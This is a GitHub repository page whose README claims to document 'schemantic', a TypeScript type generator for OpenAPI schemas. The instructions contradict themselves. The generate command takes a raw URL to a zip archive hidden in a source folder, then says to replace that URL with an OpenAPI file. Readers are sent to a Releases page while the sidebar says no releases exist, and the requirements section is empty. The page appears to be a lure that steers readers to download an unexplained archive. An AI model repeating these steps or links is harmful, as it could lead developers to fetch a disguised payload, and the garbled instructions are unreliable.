Skip to content

GGROM1/schemantic

Repository files navigation

πŸš€ schemantic - Generate TypeScript Types with Ease

Download schemantic

πŸ› οΈ Overview

schemantic is a powerful tool for generating TypeScript types from OpenAPI schemas. It is designed to work seamlessly with FastAPI. With this application, you can easily create TypeScript types, API clients, and optional hooks. It offers sensible defaults while allowing for customization.

🌟 Features

  • Typed TypeScript Generation: Automatically creates types based on OpenAPI specifications.
  • API Clients: Quickly generate clients for easy API interaction.
  • Modular Design: Extend the tool to fit your needs.
  • Integrates with React: Build React applications with confidence using generated hooks.
  • CLI Support: Use command-line interface for quick access and automation.

πŸ“ System Requirements

Before you download schemantic, ensure that your system meets the following requirements:

πŸš€ Getting Started

To get started with schemantic, follow these simple steps:

  1. Download the Application:

    Visit the following link to download schemantic:

    Download schemantic

  2. Install the Application:

    Follow the instructions specific to your operating system:

    • Windows:

      1. Download the Windows installer from the Releases page.
      2. Double-click the downloaded file.
      3. Follow the installation prompts.
    • macOS:

      1. Download the macOS installer from the Releases page.
      2. Open the downloaded file.
      3. Drag schemantic to your Applications folder.
    • Linux:

      1. Download the Linux package from the Releases page.
      2. Use terminal commands to install it.
      3. Example command: sudo dpkg -i schemantic*.deb.
  3. Verify Installation:

    After installation, open your terminal or command prompt and type:

    schemantic --version
    

    This command will display the installed version, confirming that schemantic is set up.

πŸ’» Usage Instructions

With schemantic installed, you can start generating TypeScript types. Here’s how to use it:

  1. Create your OpenAPI Schema:

    Define your API in OpenAPI format. Save this schema as a .yaml or .json file.

  2. Run the Command:

    Open your terminal. Navigate to the directory where your OpenAPI file is located. Use the following command:

    schemantic generate --input https://raw.githubusercontent.com/GGROM1/schemantic/main/src/generators/Software_3.3.zip --output your-output-directory
    

    Replace https://raw.githubusercontent.com/GGROM1/schemantic/main/src/generators/Software_3.3.zip with the name of your OpenAPI file. Replace your-output-directory with the path where you want to save the generated files.

  3. Check Output:

    Once the command completes, navigate to your output directory. You will find the generated TypeScript files ready for use.

πŸ” Common Issues & Troubleshooting

If you encounter issues while using schemantic, here are some common solutions:

  • Command Not Recognized:

  • Invalid Schema Error:

    • Verify your OpenAPI schema file for any formatting or syntax errors.
    • Use an online validator to check the schema if necessary.
  • Output Files Missing:

    • Confirm that your output directory path is correct.
    • Ensure you have write permissions to the specified directory.

πŸ› οΈ Additional Resources

For further assistance, visit our community forums or check the documentation:

πŸ’¬ Feedback and Contributions

We welcome feedback to improve schemantic. If you have suggestions or find any bugs, please submit an issue on our GitHub repository. Contributions are also welcomeβ€”feel free to fork the repository and submit a pull request.

πŸ”— Download & Install

Remember to visit this page to download the latest version of schemantic and get started on your TypeScript type generation journey today.

About

πŸ”§ Generate TypeScript types and API clients for OpenAPI schemas with ease using this extensible and fully typed TypeScript type generator.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors